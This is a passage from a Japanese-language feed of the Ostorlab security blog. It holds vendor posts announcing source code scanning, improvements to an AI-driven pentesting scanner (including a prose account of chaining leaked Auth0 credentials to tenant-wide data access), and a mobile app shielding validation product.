&lt;h3 id="両プラットフォームはaiコンピュートの予算とトークンのコストをどのように扱いますか"&gt;&lt;strong&gt;両プラットフォームはAIコンピュートの予算とトークンのコストをどのように扱いますか&lt;/strong&gt;&lt;/h3&gt;
&lt;p&gt;Quokkaは、管理されたエージェント型AIインフラを持たない従来型のソフトウェアライセンスモデルで運用されています。Ostorlabは、管理型でプリペイド式のコンピュートティアであるCyber Modelsによって、AIの請求に関するリスクを解決します。ワークスペースのウォレットに資金を入れ、スキャンの開始前に厳格な支出上限を持つエフォートプロファイルを選択すると、スキャン終了時に未使用のトークン分が自動的に返金されます。Ostorlabは、社内のコンプライアンス向けにBring Your Own Key（BYOK）にも対応しています。&lt;/p&gt;
&lt;h2 id="この比較の制約"&gt;この比較の制約&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;ベンダーの機能、価格、ドキュメントは頻繁に変わります。Quokka Q-mastに関する詳細は、2026年7月15日以降に変更されている可能性があります。&lt;/li&gt;
&lt;li&gt;この記事のために、検出率、誤検知（フォールスポジティブ）率、スキャン速度に関する独立したベンチマークは実施していません。&lt;/li&gt;
&lt;li&gt;この記事は、Quokka Q-mastの実地テストの結果を報告するものではありません。Quokka Q-mastに関する記述は同社の公開資料を、Ostorlabに関する記述はOstorlab自身の製品ドキュメントを反映しています。&lt;/li&gt;
&lt;li&gt;現在の機能、価格、デプロイオプションは、できれば自社のアプリケーションに対して両方のプラットフォームをテストするなどして、各ベンダーに直接確認してください。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="まとめと次のステップ"&gt;&lt;strong&gt;まとめと次のステップ&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;モバイルの脅威の状況は進化しており、セキュリティツールもそれに合わせて進化する必要があります。静的なバイナリ解析、基本的なSBOMチェックリスト、または硬直的な動的スキャナーだけに頼っていると、エンジニアリングチームは、現代のセキュリティ侵害を引き起こす複雑なフルスタックの脆弱性を見落とすことになります。&lt;/p&gt;
&lt;p&gt;Quokka Q-mastはレガシーな要件に対して価値のあるコンプライアンス追跡を提供しますが、&lt;strong&gt;Ostorlab&lt;/strong&gt;はモバイルアプリケーションセキュリティテストの未来を体現しています。数分でデプロイできる基盤となるDASTに、自動化されたシールディング検証、フルスタックのAPI検査、開発者向けのワンクリック修正、そしてオプションのAgentic Deep Scanエンジンを組み合わせることで、OstorlabはDevSecOpsチームが安全なコードを高速にリリースするために必要なツールを提供します。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;すでにQuokka Q-mastを使っていますか？&lt;/strong&gt; &lt;a href="https://ostorlab.co/bake-off"&gt;同じアプリでOstorlabとQuokka Q-mastを比較する&lt;/a&gt;：同じターゲット、同じ制限時間で比較します。検出結果は、自社のチームが再現できた場合にのみカウントされます。&lt;/p&gt;</content><category term="Security"/><category term="Mobile Security"/><category term="DAST"/><category term="DevSecOps"/><category term="Penetration Testing"/></entry><entry><title>Ostorlab Source Code Scanningのご紹介</title><link href="https://blog.ostorlab.co/ja/source-code-scanning.html" rel="alternate"/><published>2026-07-07T18:00:00+02:00</published><updated>2026-07-07T18:00:00+02:00</updated><author><name>Youssef Mabrouk</name></author><id>tag:blog.ostorlab.co,2026-07-07:/ja/source-code-scanning.html</id><summary type="html">&lt;p&gt;Source Code Scanningは、セキュリティ脆弱性が本番環境に到達する前に、ソースコードの段階で直接特定できるようにします。リポジトリを接続し、必要なときにスキャンを実行して、対応すべき検出結果をOstorlab上で確認できます。&lt;/p&gt;</summary><content type="html">&lt;p&gt;プルリクエストをマージします。テストは通り、レビューも問題なく、誰もが次の作業に移ります。&lt;/p&gt;
&lt;p&gt;3週間後、セキュリティチームが、マージ前からそのファイルに残っていたハードコードされたAPIキーを発見します。&lt;/p&gt;
&lt;p&gt;セキュリティスキャンは通常、別の場所にあります。別のツール、別のパイプライン、別チームのバックログです。それがコードに追いつく頃には、コードはすでに稼働しています。&lt;/p&gt;
&lt;p&gt;本日、このギャップを埋めるためにSource Code Scanningをリリースします。&lt;/p&gt;
&lt;h2 id="source code scanningとは"&gt;Source Code Scanningとは&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Source Code Scanning&lt;/strong&gt;とは、アプリケーションがデプロイされる前に、ソースコードを解析してセキュリティ脆弱性、安全でないコーディング手法、その他の潜在的なリスクを特定するプロセスです。&lt;/p&gt;
&lt;p&gt;たとえば、ハードコードされたAPIキー、SQLインジェクションのリスク、安全でない暗号の実装など、コードが本番環境に到達する前のほうが修正しやすい欠陥を検出できます。&lt;/p&gt;
&lt;h2 id="ソースコードスキャンの実行方法"&gt;ソースコードスキャンの実行方法&lt;/h2&gt;
&lt;p&gt;1. &lt;strong&gt;リポジトリを接続する&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Dashboard&lt;/strong&gt;から、左側のメニューで&lt;strong&gt;Integrations&lt;/strong&gt;ページを開きます。GitHub、GitLab、Azure DevOps、Bitbucket、またはセルフホストのGitサーバーなど、使用しているGitプロバイダーを選択し、&lt;strong&gt;Configure&lt;/strong&gt;をクリックしてリポジトリを接続します。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Ostorlabの連携 - ソースコード" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-07-07_Source_code_scanning_announcement/integrations-source-code.png" title="Gitプロバイダーを選択し、リポジトリをOstorlabに接続します。"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Gitプロバイダーを選択し、リポジトリをOstorlabに接続します。&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;2. &lt;strong&gt;スキャンを作成する&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;アセットタイプとして&lt;strong&gt;Code Repository&lt;/strong&gt;を選択し、スキャンするリポジトリを選んでから、ブランチ、コミット、またはタグを指定します。スキャンを開始すると、Ostorlabが選択されたコードを解析し、セキュリティ上の検出結果を報告します。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Ostorlabのスキャン対象アセットタイプ" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-07-07_Source_code_scanning_announcement/scan-type-source-code.png" title="アセットタイプとしてコードリポジトリを選択します。"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;アセットタイプとしてコードリポジトリを選択します。&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;3. &lt;strong&gt;結果を確認する&lt;/strong&gt;：&lt;/p&gt;
&lt;p&gt;スキャンが完了すると、Ostorlabは検出結果を分かりやすく対応しやすいレポートとして提示します。各脆弱性を確認してその影響を把握し、影響を受けるコードに直接移動して修復を開始できます。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Ostorlabのソースコードスキャン結果" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026-07-07_Source_code_scanning_announcement/source-code-scan-results.png" title="ソースコードスキャンの結果を確認します。"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;ソースコードスキャンの結果を確認します。&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="source code scanningが重要な理由"&gt;Source Code Scanningが重要な理由&lt;/h2&gt;
&lt;p&gt;セキュリティ上の問題は、本番環境に到達する前のほうが容易かつ低コストで修正できます。ソースコードを早い段階でスキャンすることで、開発中に脆弱性を特定し、修復にかかる時間を短縮し、問題がリリースに紛れ込むのを防ぐことができます。&lt;/p&gt;
&lt;p&gt;OstorlabのSource Code Scanningを使うと、次のことが可能になります。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;問題をより早く発見する&lt;/strong&gt;：脆弱性が本番環境のインシデントになる前、あるいはペネトレーションテストで発見される前に見つけられます。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;単一のプラットフォームで作業する&lt;/strong&gt;：ツールを切り替えることなく、ソースコードの検出結果をOstorlabの他のセキュリティ結果と並べて確認できます。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;必要なときにスキャンする&lt;/strong&gt;：プルリクエストのレビュー、リリースの検証、変更の調査など、どのような場面でも、任意のブランチ、コミット、タグをオンデマンドで解析できます。  &lt;/li&gt;
&lt;li&gt;&lt;strong&gt;修復を優先順位付けする&lt;/strong&gt;：すべての検出結果に、問題を理解してすぐに修正に取りかかるために必要なコンテキストが含まれています。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2 id="今すぐsource code scanningを試す"&gt;今すぐSource Code Scanningを試す&lt;/h2&gt;
&lt;p&gt;リポジトリを接続して、脆弱性が本番環境に到達する前に、ソースコード内の脆弱性の特定を始めましょう。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://report.ostorlab.co/o/os/dashboard/posture"&gt;今すぐソースコードスキャンを試す&lt;/a&gt;&lt;/p&gt;</content><category term="Product"/><category term="Source Code Scanning"/></entry><entry><title>Deep Scanの改善：より高速な実行、より的確な判断、インクリメンタルなテスト</title><link href="https://blog.ostorlab.co/ja/agentic-deep-scan-improvements.html" rel="alternate"/><published>2026-06-30T19:00:00+02:00</published><updated>2026-06-30T19:00:00+02:00</updated><author><name>Youssef Mabrouk</name></author><id>tag:blog.ostorlab.co,2026-06-30:/ja/agentic-deep-scan-improvements.html</id><summary type="html">&lt;p&gt;Deep Agentic Scanの最新リリースでは、より高速なモバイルテスト、改善されたリバースエンジニアリング、強化された脆弱性検出、過去のスキャン処理によるインクリメンタルなカバレッジ、改善された脆弱性チェーン、そしてモバイルとWebの評価向けのマネージドなCyber Modelsが導入されました。&lt;/p&gt;</summary><content type="html">&lt;p&gt;ほとんどのセキュリティスキャンは、リリースのたびにゼロから始まります。
アプリは再びスキャンされます。同じ経路が再び探索されます。同じ挙動が再び発見されます。
その一方で、アプリケーションが変わったのはほんの数か所だけです。
依存関係が更新された。新しいSDKが追加された。ログインフローが変わった。機能が作り直された。
アプリケーションは前に進んだのに、スキャンは初日に戻ってしまったのです。&lt;/p&gt;
&lt;p&gt;今回のリリースでは、Deep Agentic Scanにいくつかの大きな改善が加わりました。&lt;/p&gt;
&lt;p&gt;スケーリングと端末管理の改善により、モバイルの実行が高速になりました。リバースエンジニアリングの機能も強化され、テストを始める前にエージェントがアプリケーションの挙動をより深く理解できるようになりました。&lt;/p&gt;
&lt;p&gt;脆弱性検出は、より優れた計画とツールによって改善されました。また、過去のスキャン処理によって、すべてのスキャンを新規のスタートとして扱うのではなく、評価をまたいだインクリメンタルなカバレッジが可能になりました。&lt;/p&gt;
&lt;p&gt;さらに、リスクの優先順位付けを強化するための改善された脆弱性チェーンと、モバイルとWebの両方のテストに対応する&lt;a href="https://ostorlab.co/product/cyber_models_mobile"&gt;Ostorlabがマネージドで提供するCyber Models&lt;/a&gt;も導入されています。&lt;/p&gt;
&lt;h2 id="より高速なモバイルスキャン"&gt;より高速なモバイルスキャン&lt;/h2&gt;
&lt;p&gt;モバイルの詳細なテストには、APKやIPAをアップロードするだけでは足りません。&lt;/p&gt;
&lt;p&gt;アプリケーションを実機上でインストールし、起動し、操作し、監視し、実行中にテストする必要があります。それらの端末を支えるインフラが、テストの開始速度とスケールのしやすさを左右します。&lt;/p&gt;
&lt;p&gt;当社は、Deep Agentic Scanを支えるスケーリングと端末管理のインフラを改善しました。&lt;/p&gt;
&lt;p&gt;これにより、セットアップのオーバーヘッドが減り、端末のオーケストレーションが改善され、モバイルの詳細なテストをリリースサイクルをまたいでより高速かつ安定して実行できるようになります。&lt;/p&gt;
&lt;p&gt;詳細なテストは、たまに実施する評価のために取っておくものではなく、定期的に実行しやすいものになります。
&lt;figure&gt;&lt;img alt="スキャン所要時間" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_06_30_Agentic_Deep_Scan_Improvements/faster-scans.png" title="スキャン所要時間"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;スキャン所要時間&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="リバースエンジニアリング機能の改善"&gt;リバースエンジニアリング機能の改善&lt;/h2&gt;
&lt;p&gt;リバースエンジニアリング機能の改善&lt;/p&gt;
&lt;p&gt;まずアプリケーションを理解しなければ、スキャンは適切な判断を下せません。&lt;/p&gt;
&lt;p&gt;エージェントが何をテストするかを決める前に、アプリケーションがどのように構築されているか、機能がどこにあるか、どのコンポーネントに注目すべきかを理解する必要があります。&lt;/p&gt;
&lt;p&gt;当社は、Deep Agentic Scanが使用するリバースエンジニアリングのインフラを強化し、エージェントがバイナリを探索し、関連するコードパスを特定し、アプリケーションの挙動を調査する方法を改善しました。&lt;/p&gt;
&lt;p&gt;以下の例では、エージェントがまず、ディープリンク、WebView、ブラウザー、URL処理に関連する機能をアプリケーション内で検索しています。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="リバースエンジニアリング中の関数の発見" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_06_30_Agentic_Deep_Scan_Improvements/function-discovery-reverse-engineering.png" title="リバースエンジニアリングによって関連するアプリケーションの機能を発見"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;リバースエンジニアリングによって関連するアプリケーションの機能を発見&lt;/figcaption&gt;&lt;/figure&gt;
スキャンは、これらの挙動に一致する数百の候補となる関数とエントリーポイントを特定し、潜在的に興味深い機能の最初のマップを作成しました。&lt;/p&gt;
&lt;p&gt;次に、エージェントは詳細な分析の対象として特定の関数を選び、自動的に逆コンパイルして実装の詳細を把握しました。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="関数の自動逆コンパイルと分析" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_06_30_Agentic_Deep_Scan_Improvements/Automated-Function-Decompilation-and-Analysis.png" title="関数の自動逆コンパイルと分析"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;関数の自動逆コンパイルと分析&lt;/figcaption&gt;&lt;/figure&gt; &lt;/p&gt;
&lt;p&gt;これにより、Deep Agentic Scanは単純なパターンマッチングを超えて、次に何をテストするかを決める前に、アプリケーションのコンポーネントがどのように相互作用するかをより深く理解できます。&lt;/p&gt;
&lt;p&gt;理解が深まれば、テストの判断も的確になります。&lt;/p&gt;
&lt;h2 id="脆弱性検出のための計画とツールの強化"&gt;脆弱性検出のための計画とツールの強化&lt;/h2&gt;
&lt;p&gt;脆弱性の発見は、単にテストを増やせば済む話ではありません。&lt;/p&gt;
&lt;p&gt;難しいのは、どのシグナルを調査すべきか、次にどのツールを使うべきか、どの攻撃経路を追う価値があるかを判断することです。&lt;/p&gt;
&lt;p&gt;当社は、Deep Agentic Scanを支える計画とツールの機能を改善しました。&lt;/p&gt;
&lt;p&gt;これにより、エージェントはテスト中により良い判断を下し、疑わしい挙動の調査により多くの時間をかけ、検出結果が本物かどうかを判断する前に、有望な攻撃経路をさらに深く追跡できるようになります。&lt;/p&gt;
&lt;p&gt;目標は、検出結果を増やすことではありません。&lt;/p&gt;
&lt;p&gt;目標は、重要な検出結果を増やすことです。
&lt;figure&gt;&lt;img alt="エージェントは、ツールを選択してテストを実行する前に、エクスプロイト主導の検証計画を生成する" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_06_30_Agentic_Deep_Scan_Improvements/The-agent-generates-an-exploit-driven-validation-plan-before-selecting-tools-and-executing-tests.png" title="エージェントは、ツールを選択してテストを実行する前に、エクスプロイト主導の検証計画を生成する"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;エージェントは、ツールを選択してテストを実行する前に、エクスプロイト主導の検証計画を生成する&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="インクリメンタルなカバレッジのための過去のスキャン処理"&gt;インクリメンタルなカバレッジのための過去のスキャン処理&lt;/h2&gt;
&lt;p&gt;アプリケーションはリリースごとに変わりますが、ほとんどのスキャンは、まるでそのアプリケーションを一度も見たことがないかのように振る舞います。&lt;/p&gt;
&lt;p&gt;過去の検出結果、探索済みの機能、検証済みの攻撃経路、既知の挙動は、スキャンのたびに破棄されてしまいます。&lt;/p&gt;
&lt;p&gt;当社は過去のスキャン処理を改善し、Deep Agentic Scanが以前の評価で収集した情報を活用できるようにしました。&lt;/p&gt;
&lt;p&gt;すでにわかっていることを再発見する代わりに、以降のスキャンでは、新しい機能、変更された挙動、さらに注目すべき領域のテストにより多くの時間をかけられます。&lt;/p&gt;
&lt;p&gt;繰り返しのスキャンは、同じことの反復ではなく、積み重ねになります。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Agentic Deep Scanのヒートマップ" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_06_30_Agentic_Deep_Scan_Improvements/Heatmap-for-Agentic-Deep-Scan.png" title="Agentic Deep Scanのヒートマップ"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Agentic Deep Scanのヒートマップ&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="脆弱性チェーンとリスクの優先順位付けの改善"&gt;脆弱性チェーンとリスクの優先順位付けの改善&lt;/h2&gt;
&lt;p&gt;セキュリティチームが苦労するのは、検出結果が足りないからではほとんどありません。コンテキストが足りないからです。&lt;/p&gt;
&lt;p&gt;ハードコードされた認証情報、露出したAPI、過剰な権限を持つトークンは、レポートではそれぞれ別の問題として表示されることがありますが、攻撃者はそれらを一つの攻撃経路として扱います。&lt;/p&gt;
&lt;p&gt;Deep Agentic Scanは、最初の発見で止まるのではなく、検出結果を検証し、ピボットを自動的に追跡し、その結果生じる攻撃経路の影響を測定することで、脆弱性チェーンとリスクの優先順位付けを改善しました。&lt;/p&gt;
&lt;p&gt;以下の例は、iOSアプリケーションに埋め込まれた、ハードコードされたAuth0のM2M認証情報の発見から始まりました。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="モバイルアプリケーションで発見されたハードコードされたサービス認証情報" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_06_30_Agentic_Deep_Scan_Improvements/Hardcoded-Service-Credentials-Discovered-In-Mobile-Application.png" title="モバイルアプリケーションで発見されたハードコードされたサービス認証情報"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;モバイルアプリケーションで発見されたハードコードされたサービス認証情報&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;スキャンはまず、これを未検証のシークレットの露出として報告するのではなく、認証情報が有効であり、内部サービス向けの本番環境のJWTを発行できることを検証しました。&lt;/p&gt;
&lt;p&gt;発行されたJWTをさらに分析したところ、利用可能なスコープ、オーディエンスの情報、署名のインフラ、そしてこのトークンを受け入れる可能性のある追加のターゲットが明らかになりました。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="トークンの分析により追加の攻撃経路が明らかに" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_06_30_Agentic_Deep_Scan_Improvements/Token-Analysis-Reveals-Additional-Attack-Paths.png" title="トークンの分析により追加の攻撃経路が明らかに"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;トークンの分析により追加の攻撃経路が明らかに&lt;/figcaption&gt;&lt;/figure&gt;
この追加のコンテキストにより、スキャンは認証情報の発見にとどまらず、その認証情報がどこにつながり得るかの探索を続けることができました。&lt;/p&gt;
&lt;p&gt;続いてスキャンは、同じ認証情報がAuth0 Management APIのオーディエンスに対して認証できることを特定し、その結果得られるアクセスと権限を自動的に検証しました。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="認証情報の検証によりManagement APIへのアクセスが判明" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_06_30_Agentic_Deep_Scan_Improvements/Credential-Validation-Leads-to-Management-API-Access.png" title="認証情報の検証によりManagement APIへのアクセスが判明"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;認証情報の検証によりManagement APIへのアクセスが判明&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;当初は内部サービスの認証情報に見えたものが、管理者権限を伴うIDインフラへのアクセスにまで広がっていたのです。&lt;/p&gt;
&lt;p&gt;最後に、スキャンはテナントに対して非破壊的なユーザー列挙を行い、機密性の高いユーザー情報と管理者スコープへのアクセスを実証することで、ビジネスへの影響を検証しました。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="攻撃チェーンがテナント全体のユーザーデータの露出にまでエスカレート" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_06_30_Agentic_Deep_Scan_Improvements/Attack-Chain-Escalates-To-tenant-wide-User-Data-Exposure.png" title="攻撃チェーンがテナント全体のユーザーデータの露出にまでエスカレート"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;攻撃チェーンがテナント全体のユーザーデータの露出にまでエスカレート&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;重大度「高」のハードコードされた認証情報の問題として始まったものが、テナント全体のユーザーデータへのアクセスが実証されたクリティカルな検出結果になりました。&lt;/p&gt;
&lt;p&gt;これが、検出結果を増やすことと、より良い検出結果を得ることの違いです。&lt;/p&gt;
&lt;p&gt;目標は、より大きなレポートを作ることではありません。目標は、セキュリティインシデントになり得る少数の問題を特定し、それらをキューの先頭に置くことです。&lt;/p&gt;
&lt;h2 id="マネージドなcyber models"&gt;マネージドなCyber Models&lt;/h2&gt;
&lt;p&gt;Deep Agentic Scanには、モバイルとWebの両方の評価に対応する、Ostorlabがマネージドで提供するCyber Modelsが含まれるようになりました。&lt;/p&gt;
&lt;p&gt;チームは、APIキー、モデルのインフラ、連携を自分たちで管理することなく、OpenAIベースのモデルをすぐに実行できます。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="BYOKとCyber Modelsの比較" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_06_30_Agentic_Deep_Scan_Improvements/BYOK-vs-Cyber-Models.png" title="自社キーの持ち込み（BYOK）とCyber Modelsの比較"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;自社キーの持ち込み（BYOK）とCyber Modelsの比較&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;これらのモデルは、スキャン中にアプリケーションの挙動を理解し、テスト戦略を選び、疑わしいシグナルを調査し、潜在的な脆弱性を検証するエージェントの能力を強化します。&lt;/p&gt;
&lt;p&gt;&lt;a href="https://ostorlab.co/product/cyber_models_web"&gt;Ostorlab Cyber Modelsの詳細を見る&lt;/a&gt;&lt;/p&gt;
&lt;h2 id="透明性のある攻撃の検証"&gt;透明性のある攻撃の検証&lt;/h2&gt;
&lt;p&gt;セキュリティチームがブラックボックスを信頼しなければならない状況であってはなりません。&lt;/p&gt;
&lt;p&gt;Deep Agentic Scanは、テスト中にたどった攻撃経路、下した判断、実施した検証ステップを可視化します。&lt;/p&gt;
&lt;p&gt;チームは、何がテストされ、何が検証され、検出結果にどのように到達したかを確認できます。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="脆弱性の検証" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_06_30_Agentic_Deep_Scan_Improvements/Vulnerabilities-Validation.png" title="脆弱性の検証"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;脆弱性の検証&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;h2 id="柔軟なテストの深さ"&gt;柔軟なテストの深さ&lt;/h2&gt;
&lt;p&gt;すべての評価に同じレベルの深さが必要なわけではありません。&lt;/p&gt;
&lt;p&gt;チームは目的とスケジュールに応じて、焦点を絞った1週間の評価から、8週間のペネトレーションテストに匹敵する案件まで、テスト期間を選択できます。&lt;/p&gt;
&lt;p&gt;&lt;figure&gt;&lt;img alt="Cyber Modelsの労力設定" class="img-fluid" src="https://blog.ostorlab.co/static/img/2026_06_30_Agentic_Deep_Scan_Improvements/Cyber-models-effort.png" title="Cyber Modelsでのスキャン労力の設定"/&gt;&lt;figcaption style="text-align: center; font-weight: 400; font-style: italic; font-size: 16px; color: #656d76;"&gt;Cyber Modelsでのスキャン労力の設定&lt;/figcaption&gt;&lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;これらの改善により、Deep Agentic Scanは既知の挙動の再発見にかける時間を減らし、重要なリスクの検証により多くの時間をかけられるようになります。&lt;/p&gt;
&lt;p&gt;詳細はこちら：&lt;a href="https://ostorlab.co/product/web_agentic_deep_scan"&gt;Web Deep Agentic Deep Scan&lt;/a&gt;と&lt;a href="https://ostorlab.co/product/mobile_agentic_deep_scan"&gt;Mobile Deep Agentic Scan&lt;/a&gt;。&lt;/p&gt;</content><category term="Product"/><category term="Agentic Deep scan"/><category term="BYOK"/><category term="Cyber Models"/></entry><entry><title>AI攻撃に耐え得るモバイルシールディングの登場</title><link href="https://blog.ostorlab.co/ja/ostorlab-shielding-scan.html" rel="alternate"/><published>2026-06-25T16:00:00+02:00</published><updated>2026-06-25T16:00:00+02:00</updated><author><name>Kawtar Boumaan</name></author><id>tag:blog.ostorlab.co,2026-06-25:/ja/ostorlab-shielding-scan.html</id><summary type="html">&lt;p&gt;Ostorlabは、シールディングの検出と検証に特化して設計された、自動化されたAIによるテストソリューション&lt;strong&gt;Mobile Shielding Scan&lt;/strong&gt;をリリースしました。これにより、セキュリティチームはiOSとAndroidの重要な実行時保護を効率的かつ継続的に検証でき、セキュリティのシールドが実際に存在するか、そして現実世界の攻撃に耐えられるかを特定できます。組織は、あらゆるリリースにわたってRASPツールとモバイルの自己防御レイヤーを継続的に検証する、自動化されスケーラブルで強力な手段を手にします。&lt;/p&gt;</summary><content type="html">&lt;p&gt;次のモバイルリリース直後の1時間を思い浮かべてください。ビルドは通り、シールディングの制御は有効に見え、改ざん防止が有効化され、root検知が備わり、SSLピンニングが設定されています。企業の側から見れば、アプリは保護されているように見えます。しかし、他者の側から見れば、それはダウンロードし、展開し、調べ、改変し、計装し、再パッケージ化し、再び実行できるファイルになったにすぎません。
&lt;/p&gt;
&lt;p&gt;それこそが、モバイルセキュリティチームが決して忘れてはならない点です。見知らぬ相手は、自社の防御をテストするのに、自社のソースコードやインフラを必要としません。必要なのは、すでに出荷済みのアプリだけです。バイナリがひとたびその相手のラボに渡れば、問われるのはもはや保護が存在するかどうかだけではありません。問われるのは、&lt;strong&gt;アプリが通常どおり動作し続けたまま、その保護を回避できるか&lt;/strong&gt;です。
&lt;/p&gt;
&lt;p&gt;不都合な真実は、多くのモバイルセキュリティの失敗が、防御の欠如から始まるわけではないということです。それらは、存在し、有効に見え、組織から信頼されている一方で、&lt;strong&gt;リリース後に継続的に試されてこなかった&lt;/strong&gt;防御から始まります。
&lt;/p&gt;
&lt;p&gt;従来の脆弱性スキャナーは静的コード解析に優れていますが、現代のモバイルアプリケーションのリスクは実行時に表面化することが多くあります。このギャップを埋めるため、Ostorlabは&lt;strong&gt;Mobile Shielding Scan&lt;/strong&gt;を提供します。この自動化されたAIによるテストソリューションはシールディングの検出に特化しており、モバイルアプリがどれだけ自己を防御できるか、そしてその防御が現実世界の攻撃のもとで実際に持ちこたえるかを評価します。
&lt;/p&gt;
&lt;p&gt;このスキャンはバイナリレベルで直接動作し、アプリ内のあらゆる保護について2つの核心的な問いに答えます。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;1. その保護は実際に存在するか。&lt;/strong&gt;（シールディング検出）&lt;br/&gt;
&lt;strong&gt;2. 攻撃されたときに実際に持ちこたえるか。&lt;/strong&gt;（シールディング検証）&lt;/p&gt;
&lt;p&gt;これは、&lt;em&gt;「当社のアプリは保護されていると思う」&lt;/em&gt;を、&lt;em&gt;「テストしました、そしてこれがその証拠です」&lt;/em&gt;へと変えます。&lt;/p&gt;
&lt;h2 id="なぜシールディングの仕組みを検証するのか"&gt;&lt;strong&gt;なぜシールディングの仕組みを検証するのか&lt;/strong&gt;&lt;/h2&gt;
&lt;p&gt;モバイルのセキュリティテストは、チェックボックス的なコンプライアンスから現実世界での検証へと移行しつつあります。これはパラダイムを変えるものです。難しいのはもはやセキュリティ機能を組み込むことだけではありません。難しいのは、それらが実際の悪用のもとで機能することを証明するために、継続的なシールディング検出を実行することです。&lt;br/&gt;
セキュリティチームは、自分たちの実行時防御が剥ぎ取られ得るのか、アプリケーションがジェイルブレイクされた端末を見抜けないのか、そして商用シールディングへの投資が実際の保護をもたらしているのかを知る必要があります。&lt;/p&gt;
&lt;p&gt;ベンダーの約束に頼ることは、偽りの安心感を与えます。わずかな設定ミスや、コンパイルパイプラインでの些細な変更が、アセンブル時にエラーを出すことなく、シールディングのレイヤーを完全に無効化してしまうことがあります。多くの組織にとって、本番環境での侵害の後に破綻した防御を見つけることは、すでに消すべき火種を十分すぎるほど抱えているセキュリティプログラムにおける、さらなる運用上の悪夢です。&lt;/p&gt;
&lt;p&gt;Mobile Shielding Scanは、その盲点を取り除きます。Ostorlabが自動化された悪用のレイヤーを管理し、セキュリティチームはシールディングの検出、弱点の露出、標準へのマッピングを、Portalから直接、即座に明確に把握できます。&lt;/p&gt;
&lt;h2 id="規制とコンプライアンスの義務"&gt;&lt;strong&gt;規制とコンプライアンスの義務&lt;/strong&gt;&lt;/h2&gt;
